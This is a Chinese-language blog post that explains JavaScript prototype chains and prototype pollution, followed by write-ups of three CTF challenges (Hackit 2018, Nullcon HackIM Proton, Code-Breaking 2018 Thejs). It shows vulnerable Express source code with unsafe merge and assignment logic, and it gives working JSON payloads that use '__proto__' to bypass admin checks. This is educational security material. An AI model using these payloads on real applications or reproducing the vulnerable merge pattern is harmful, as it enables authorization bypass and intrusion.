Virtua1's blog

Javascript 原型链污染

字数统计: 2.7k阅读时长: 12 min
2019/11/25 Share

Javascript

原型与原型链

JS编程特性

js在ECS6之前没有class的概念,之前的类都是用funtion来声明。

通过构造函数(constructor)可以实例化对象。

如上例中 Cat() 就是构造函数。通过new关键字实例化了cat对象。

有趣的一些特性:

可以看到在JS中可以使用各种方法操作对象。

原型

prototype

在javascript中,每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,直到null为止。

我们看到对象Cat的原型为Object,也就是其父类。看一个例子:

可以看到v对象的父类为 Object,并且包含很多函数。这就是JS中一个重要的概念:继承。而继承的整个过程就称为该类的原型链。

__proto__

在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。但是,在js中只有类才有prototype属性,对象没有,对象有的是__proto__和类的prototype对应。

不难发现 类(构造函数)、对象、prototype__proto__、实例原型 关系如下:

constructor

从以上例子不难看出每个原型对象都有一个 constructor 属性,constructor 属性指向相关联的构造函数,所以构造函数和构造函数的 prototype 是可以相互指向的。实例对象也可以访问constructor 属性指向其构造函数。

关系图:

原型链

先看一个例子:

在JS中,访问某个属性的时候,先在实例对象cat中寻找,如果不存在,则去对象的原型即cat.__proto__也就是Cat.prototype中寻找,如果对象的原型中也不存在,就去对象的原型的原型中寻找,以此类推,这就是原型链。实例对象原型的原型是Object.prototype 它的原型为NULL不存在原型,即Object.prototype为原型链的最顶端。

当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined

继承

JS中 继承是基于原型链的,无论某个属性在原型链的任何位置,只要存在,就可以层层寻找,也就是说一个实例对象拥有原型链的所有属性,实例化的时候将会拥有prototype中的属性和方法。

如:

1
function Father() {
2
    this.first_name = 'Donald'
3
    this.last_name = 'Trump'
4
}
5
6
function Son() {
7
    this.first_name = 'Melania'
8
}
9
10
Son.prototype = new Father()
11
12
let son = new Son()
13
console.log(`Name: ${son.first_name} ${son.last_name}`)

运行结果:

调用过程:

首先从实例化对象寻找first_name 找到 Melania,再寻找last_name ,son中不存在,再从son.__proto__寻找,在其父类 Father中找到。若还没找到则去son.__proto__.__proto__ 中继续寻找。

在这个例子中 Son类继承了Father类,实例化Son类为son,则son用于所有属性和方法。

原型链污染

上边我们已经分析过在JS中可以用很多有趣的方法操作对象,访问一个对象的属性可以利用a.b.c或者a["b"]["c"]

的形式,因为对象是无序的,因此采用第二种访问对象的属性时,利用的是指明下标的方法去访问。

原型链污染:在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

举一个简单的例子:

1
foo = {bar:1}
2
console.log(foo.bar)
3
4
foo.__proto__.bar=2333
5
console.log(foo.bar)
6
7
zoo = {}
8
console.log(zoo.bar)

可以看到首先用Object对象创建了一个类foo,属性bar 为1,然后对foo类的原型即Object 增加一个属性bar=2333,按照寻找顺序改变原型不会影响foo对象,但影响了创建的空zoo对象,从zoo对象寻找bar属性,不存在,则去原型即Object寻找。这个例子就是污染了原型链。

原型链污染一般会出现在对象、或数组的键名或属性名可控,而且是赋值语句的情况下。因此现实情况下只需要寻找能够控制数组(对象)的“键名”的操作即可。

CTF实例

Hackit 2018 Nodejs

1
const express = require('express')
2
var hbs = require('hbs');
3
var bodyParser = require('body-parser');
4
const md5 = require('md5');
5
var morganBody = require('morgan-body');
6
const app = express();
7
var user = []; //empty for now
8
9
var matrix = [];
10
for (var i = 0; i < 3; i++){
11
    matrix[i] = [null , null, null];
12
}
13
14
function draw(mat) {
15
    var count = 0;
16
    for (var i = 0; i < 3; i++){
17
        for (var j = 0; j < 3; j++){
18
            if (matrix[i][j] !== null){
19
                count += 1;
20
            }
21
        }
22
    }
23
    return count === 9;
24
}
25
26
app.use('/static', express.static('static'));
27
app.use(bodyParser.json());
28
app.set('view engine', 'html');
29
morganBody(app);
30
app.engine('html', require('hbs').__express);
31
32
app.get('/', (req, res) => {
33
34
    for (var i = 0; i < 3; i++){
35
        matrix[i] = [null , null, null];
36
37
    }
38
    res.render('index');
39
})
40
41
42
app.get('/admin', (req, res) => { 
43
    /*this is under development I guess ??*/
44
45
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
46
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
47
    } 
48
    else {
49
        res.status(403).send('Forbidden');
50
    }   
51
}
52
)
53
54
55
app.post('/api', (req, res) => {
56
    var client = req.body;
57
    var winner = null;
58
59
    if (client.row > 3 || client.col > 3){
60
        client.row %= 3;
61
        client.col %= 3;
62
    }
63
64
    matrix[client.row][client.col] = client.data;
65
    console.log(matrix);
66
    for(var i = 0; i < 3; i++){
67
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
68
            if (matrix[i][0] === 'X') {
69
                winner = 1;
70
            }
71
            else if(matrix[i][0] === 'O') {
72
                winner = 2;
73
            }
74
        }
75
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
76
            if (matrix[0][i] === 'X') {
77
                winner = 1;
78
            }
79
            else if(matrix[0][i] === 'O') {
80
                winner = 2;
81
            }
82
        }
83
    }
84
85
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
86
        winner = 1;
87
    }
88
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
89
        winner = 2;
90
    } 
91
92
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
93
        winner = 1;
94
    }
95
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
96
        winner = 2;
97
    }
98
99
    if (draw(matrix) && winner === null){
100
        res.send(JSON.stringify({winner: 0}))
101
    }
102
    else if (winner !== null) {
103
        res.send(JSON.stringify({winner: winner}))
104
    }
105
    else {
106
        res.send(JSON.stringify({winner: -1}))
107
    }
108
109
})
110
app.listen(3000, () => {
111
    console.log('app listening on port 3000!')
112
})

首先看获取flag的地方需要满足:user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken

但是我们不难发现 user为空 并且类型为Array

在/api发现漏洞点:

可以发现这里存在赋值操作,用户可控。

data是从网页传递的参数:

{"row":1,"col":"1","data":"X"}

matrix同样为数组,不难想到原型链攻击思路。

Array实例继承自Array.prototype,因此我们可以通过更改构造函数的原型对象来对所有的Array实例进行修改。

目的是 使得user.admintoken 可控,user为数组,此时另一个数组matrix可控,因此可以控制matrix的原型即数组,写入任意admintoken,就使得user.admintoken 可控。

pyload:/api

1
data={"row":"__proto__","col":"admintoken","data":"123456"}

Nullcon HackIM Proton

1
'use strict';
2
3
const express = require('express');
4
const bodyParser = require('body-parser')
5
const cookieParser = require('cookie-parser');
6
const path = require('path');
7
8
9
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
10
11
function merge(a, b) {
12
    for (var attr in b) {
13
        if (isObject(a[attr]) && isObject(b[attr])) {
14
            merge(a[attr], b[attr]);
15
        } else {
16
            a[attr] = b[attr];
17
        }
18
    }
19
    return a
20
}
21
22
function clone(a) {
23
    return merge({}, a);
24
}
25
26
// Constants
27
const PORT = 8080;
28
const HOST = '0.0.0.0';
29
const admin = {};
30
31
// App
32
const app = express();
33
app.use(bodyParser.json())
34
app.use(cookieParser());
35
36
app.use('/', express.static(path.join(__dirname, 'views')));
37
app.post('/signup', (req, res) => {
38
    var body = JSON.parse(JSON.stringify(req.body));
39
    var copybody = clone(body)
40
    if (copybody.name) {
41
        res.cookie('name', copybody.name).json({
42
            "done": "cookie set"
43
        });
44
    } else {
45
        res.json({
46
            "error": "cookie not set"
47
        })
48
    }
49
});
50
app.get('/getFlag', (req, res) => {
51
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
52
    if (admin.аdmin == 1) {
53
        res.send("hackim19{}");
54
    } else {
55
        res.send("You are not authorized");
56
    }
57
});
58
app.listen(PORT, HOST);
59
console.log(`Running on http://${HOST}:${PORT}`);

首先看到获取flag的条件:admin.аdmin == 1

定位admin,发现admin为空不存在admin属性,并且为object。继续看代码不难发现上边例子中提到的merge赋值操作,

调用的地方在注册处:

1573543208818

发现merge 函数进行合并赋值时键值可控,因此就可以利用原型链污染攻击。

本地测试:

发现为undefined,测试下:

发现赋值的时候没有把__proto__当作键值,而是直接赋值给了test1的原型,要想让__proto__作为键值,可以利用JSON.parse:

JSON.parse:把一个json字符串 转化为 javascript的object

payload:/signup

1
data={"__proto__":{"admin":1}}

Code-Breaking 2018 Thejs

关键代码:

1
const fs = require('fs')
2
const express = require('express')
3
const bodyParser = require('body-parser')
4
const lodash = require('lodash')
5
const session = require('express-session')
6
const randomize = require('randomatic')
7
8
const app = express()
9
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
10
app.use('/static', express.static('static'))
11
app.use(session({
12
    name: 'thejs.session',
13
    secret: randomize('aA0', 16), // 随机数
14
    resave: false,
15
    saveUninitialized: false
16
}))
17
app.engine('ejs', function (filePath, options, callback) { // 模板引擎
18
    fs.readFile(filePath, (err, content) => {   //读文件 filepath
19
        if (err) return callback(new Error(err))
20
        let compiled = lodash.template(content)  //模板化
21
        let rendered = compiled({...options})   //动态引入变量
22
23
        return callback(null, rendered)
24
    })
25
})
26
app.set('views', './views')
27
app.set('view engine', 'ejs')
28
29
app.all('/', (req, res) => {
30
    let data = req.session.data || {language: [], category: []}
31
    if (req.method == 'POST') {
32
        data = lodash.merge(data, req.body) // merge 合并字典
33
        req.session.data = data
34
    }
35
36
    res.render('index', {
37
        language: data.language, 
38
        category: data.category
39
    })
40
})
41
42
app.listen(3000, () => console.log(`Example app listening on port 3000!`))

首先看代码并没有直接验证获取flag,看下可控点只有一个:

并且又看到了合并操作lodash.merge 按照上边两个题目的思路就是利用原型链污染覆盖或者重新创建类属性。

因为没有验证获取flag,就需要getshell,找一个可以执行命令的点,最终在模板动态渲染发现命令执行,以下考点是JS命令执行。

解题参考

Referer

1、JavaScript 原型链污染

2、深入理解JavaScript Prototype污染攻击

3、原型与原型链

4、JavaScript 原型链污染

5、JavaScript原型链污染

6、Node.js原型污染攻击的分析与利用

7、Code Breaking 挑战赛 Writeup

8、Code-Breaking

CATALOG
  1. 1. Javascript
    1. 1.1. 原型与原型链
      1. 1.1.1. JS编程特性
      2. 1.1.2. 原型
        1. 1.1.2.1. prototype
        2. 1.1.2.2. __proto__
        3. 1.1.2.3. constructor
      3. 1.1.3. 原型链
      4. 1.1.4. 继承
    2. 1.2. 原型链污染
    3. 1.3. CTF实例
      1. 1.3.1. Hackit 2018 Nodejs
      2. 1.3.2. Nullcon HackIM Proton
      3. 1.3.3. Code-Breaking 2018 Thejs
    4. 1.4. Referer